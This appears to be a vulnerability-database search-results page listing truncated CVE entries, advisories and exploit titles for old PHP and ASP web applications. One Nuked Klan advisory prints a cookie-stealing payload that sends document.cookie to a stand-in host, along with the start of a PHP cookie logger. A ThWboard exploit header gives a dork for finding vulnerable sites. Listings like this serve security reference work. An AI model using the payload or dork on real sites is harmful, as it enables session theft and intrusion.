3604 matches found
CVE-2007-0266: Undefined Security Weakness
SQL injection vulnerability in boxx/ShowAppendix.asp in Ezboxx Portal System Beta 0.7.6 and earlier allows remote attackers to inject arbitrary web script or HTML via the iid parameter...
ThWboard <= 3.0b2.84-php5 SQL Injection / Code Execution Exploit
Exploit for unknown platform in category web applications ================================================================ ThWboard = 3.0b2.84-php5 SQL Injection / Code Execution Exploit ================================================================ ?php printr'...
ThWboard 3.0b2.84-php5 - SQL Injection Code Execution
ThWboard 3.0b2.84-php5 - SQL Injection Code Execution ?php printr' ----------------------------------------------------------------------------- ThWboard =3.0 beta 2.84-php5 boardstyleid sql injection / cmd exec exploit by rgod dork: "powered by ThWboard" version specific: "powered by ThWboard 3...
Ezboxx multiple vulnerabilities.
Ezboxx multiple vulnerabilities. Vulnerable version: Ezboxx Portal System Beta v 0.7.6 and below. The Ezboxx Portal System Beta v 0.7.6 and below versions are vulnerable to Cross-site scripting, Path disclosure and SQL Injection attacks. Cross-site scripting: ---------------------- Description:...
Ezboxx 0.7.6 Beta - Multiple Input Validation Vulnerabilities
Ezboxx 0.7.6 Beta - Multiple Input Validation Vulnerabilities source: https://www.securityfocus.com/bid/22029/info Ezboxx is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. The vulnerabilities include an SQL-injection...
[SA23619] Novell Client User Profile Restriction Bypass
TITLE: Novell Client User Profile Restriction Bypass SECUNIA ADVISORY ID: SA23619 VERIFY ADVISORY: http://secunia.com/advisories/23619/ CRITICAL: Less critical IMPACT: Security Bypass WHERE: From local network SOFTWARE: Novell Client for Windows NT/2000/XP 4.x http://secunia.com/product/1516/...
Nuked Klan任意.SWF文件COOKIE窃取漏洞
Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...
CVE-2006-6843: Undefined Security Weakness
PHP remote file inclusion vulnerability in the BE IT EasyPartner 0.0.9 beta component for Joomla! allows remote attackers to execute arbitrary PHP code via unspecified vectors. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information...
phpAlbum <= 0.4.1 Beta 6 (language.php) Local File Inclusion Exploit
No description provided by source. ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+...
PHPAlbum 0.4.1 Beta 6 - 'language.php' Local File Inclusion
DEVIL TEAM IRC: irc.milw0rm.com:6667 devilteam http://www.rahim.webd.pl/ ======== Contact: [email protected] cod3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings DragonHeart and all DEVIL TEAM Patriots : - Leito & Leon | friend str0ke ; pepi,...
phpCC 4.2 beta (base_dir) Remote File Inclusion Vulnerability
No description provided by source. SolpotCrew Community phpCC - Beta 4.2 basedir Remote File Inclusion Download file : http://www.phpcc.at/downloadfile1.html Bug Found By :Solpot a.k.a k. Hasibuan 06-08-2006 contact: [email protected] Website : http://www.solpotcrew.org/adv/solpot-adv-05.tx...
CVE-2006-6197
Multiple cross-site scripting XSS vulnerabilities in b2evolution 1.8.2 through 1.9 beta allow remote attackers to inject arbitrary web script or HTML via the 1 appname parameter in a 404notfound.page.php, b 410statsgone.page.php, and c refererspam.page.php in inc/VIEW/errors/; the 2 baseurl...
b2evolution.txt
Security Advisory Severity: Medium Title: b2evolution XSS Vulnerability Date: 28.11.06 Author: tarkus tarkus at tiifp dot org Web: https://tiifp.org/tarkus Vendor: b2evolution http://b2evolution.net/ Affected Products: b2evolution 1.8.2 - 1.9 beta - - - - - - - - - - - - - - - - - - - - - - - - -...
b2evolution-rfi.txt
Severity: High Title: b2evolution Remote File inclusion Vulnerability Date: 28.11.06 Author: tarkus tarkus at tiifp dot org Web: https://tiifp.org/tarkus Vendor: b2evolution http://b2evolution.net/ Affected Products: b2evolution 1.8.5 - 1.9 beta - - - - - - - - - - - - - - - - - - - - - - - - - -...
CVE-2006-6078
CVE-2006-6078 : PHP remote file inclusion in the a-ConMan 3.2 beta package. The vulnerability is in common.inc.php, allowing remote attackers to execute arbitrary PHP code by supplying a URL in the cm_basedir parameter. Documented impact is arbitrary code execution via crafted input; exploitation...
[SA22925] EC-CUBE Unspecified Cross-Site Scripting Vulnerability
TITLE: EC-CUBE Unspecified Cross-Site Scripting Vulnerability SECUNIA ADVISORY ID: SA22925 VERIFY ADVISORY: http://secunia.com/advisories/22925/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: EC-CUBE 1.x http://secunia.com/product/12657/ DESCRIPTION: A...
CVE-2006-5634
CVE-2006-5634 is associated with PHP remote file inclusion in phpProfiles. Connected records document additional PHP RFI vulnerabilities in phpProfiles 3.1.2b and earlier, with multiple vectors across include/body.inc.php, body_admin.inc.php, menu files, and various incpath parameters. The core i...
CVE-2006-5612
CVE-2006-5612 describes a PHP remote file inclusion in GestArt beta 1, specifically in aide.php3 (also known as aide.php). When register_globals is enabled, the aide parameter can be exploited to execute arbitrary PHP code, i.e., a remote code execution vulnerability. The issue is tied to GestArt...
phpProfiles 2.1 Beta Multiple Remote File Include Vulnerabilities
No description provided by source. ================================================================== phpProfiles RFI ================================================================== Info:- Scripts: phpProfiles download : http://sourceforge.net/project/showfiles.php?groupid=176310 Version : v.2...
MHL-2006-003 Public Advisory: "ezOnlineGallery" Multiple Security Issues
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 MHL-2006-003 - Public Advisory +-----------------------------------------------------------+ | ezOnlineGallery Multiple Security Issues | +-----------------------------------------------------------+ PUBLISHED ON October 26th, 2006 PUBLISHED AT...